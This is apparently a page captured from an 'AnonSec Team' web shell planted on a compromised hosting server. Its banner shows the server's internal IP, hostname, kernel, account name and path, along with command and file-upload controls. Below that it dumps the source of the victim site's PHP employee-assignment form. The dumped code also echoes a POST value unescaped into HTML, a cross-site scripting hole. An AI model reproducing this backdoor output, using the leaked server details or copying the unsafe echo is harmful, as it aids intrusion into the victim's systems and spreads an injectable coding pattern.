AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/mcg/pages/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/mcg/pages/prestation_ajax_affect_salar.php
<?php

// echo "yassin <br/>" ; 
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;



// print_r($_POST) ; 



?>





             

            <div class="modal-header task-single-header" data-task-single-id="5" data-status="4">
              <h4 class="modal-title">Affecter salarié <?php echo $prestationid ;?></h4>
              <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
            </div>
            <div class="modal-body">
 <form method="POST"    action=""  > 
               <div class="card-body">

             

 <!-- ///////Ligne société & Catégorie --> 
<!-- ///////Ligne -->   






  <div class="form-row"> 
  	 

 		 <input type="hidden" id="presta_id" name="presta_id" value="<?=$_POST['rowid']?>" />
	<?php
	 $req =dbi_query("SELECT *  FROM `salarie` WHERE `salarie_statut` = '1' ORDER BY `salarie`.`salarie_nom` ASC") ; 
	?>
	       <div class="form-group col-md-6"><!-- Liste déroulante jour -->  
                <label>Salarié </label>
				
                <select  class="form-control js-example-basic-single"  style="width: 100%;" name="salarie_id">
				<option value="-1" selected="selected" disabled="disabled">-Salarié-</option>
				<?php 
				while(  $sal=dbi_fetch_row($req))
				{
				?>
				
                    <option value="<?php echo $sal['salarie_id'] ; ?>"  ><?php echo $sal['salarie_nom']." ".$sal['salarie_prenom']; ?></option>
					
					<?php 
				}
				?>
                </select>
    </div>		
			
			
 
		
	



	

  </div>  
  		
				<input type="hidden" name="modifier" value="modifier">
               
              </div>
			  
			     <div class="modal-footer justify-content-between">
								<button type="submit" name="submitbtn" class="btn btn-primary">Enregistrer</button>
								<button style="width=10px;" type="button" class="btn btn-danger" data-dismiss="modal">Fermer</button>
								  		  
				</div>
          

			  
			  </form>
           
		   
<script>
  $(document).ready(function() {
      $('.js-example-basic-single').select2();
  });

  $(function () {
    $("#tables").DataTable();
    $('#example').DataTable({
      "paging": true,
      "lengthChange": false,
      "searching": false,
      "ordering": false,
      "info": true,
      "autoWidth": false
    });
  });

//   $("#product").change( function() {
//      alert($("#product").val());
// });

  $(document).ready(function () {
    var counter = 0;

    $("#product").on("change", function (e) {
        var id = $("#product").val()
        var name = $('#product').find(":selected").text();
        var newRow = $("<tr>");
        var cols = "";

         cols += '<td><input type="hidden" class="form-control" value="'+id+'"" readonly name="product[]"/><p>'+name+'</p></td>';

        cols += '<td><input type="number" class="form-control" value="1" name="quantity[]"/></td>';
        cols += '<td><span style="cursor:pointer;"><i id="ibtnDel" name="ibtnDel"  class="ibtnDel fa fa-trash"></i></span></td>';

        
        newRow.append(cols);
        $("table.order-list").append(newRow);
        counter++;
        $("#product").select2("close");
    });



    $("table.order-list").on("click", ".ibtnDel", function (event) {
        $(this).closest("tr").remove();       
        counter -= 1
    });


});



function calculateRow(row) {
    var price = +row.find('input[name^="price"]').val();

}

function calculateGrandTotal() {
    var grandTotal = 0;
    $("table.order-list").find('input[name^="price"]').each(function () {
        grandTotal += +$(this).val();
    });
    $("#grandtotal").text(grandTotal.toFixed(2));
}

//$('#product').selectize('option');
</script>
    



 <script src="../../plugins/bs-custom-file-input/bs-custom-file-input.min.js"></script>

<script type="text/javascript">
$(document).ready(function () {
  bsCustomFileInput.init();
});
</script>

	
			
			
			
			
			

	  
	  



AnonSec - 2021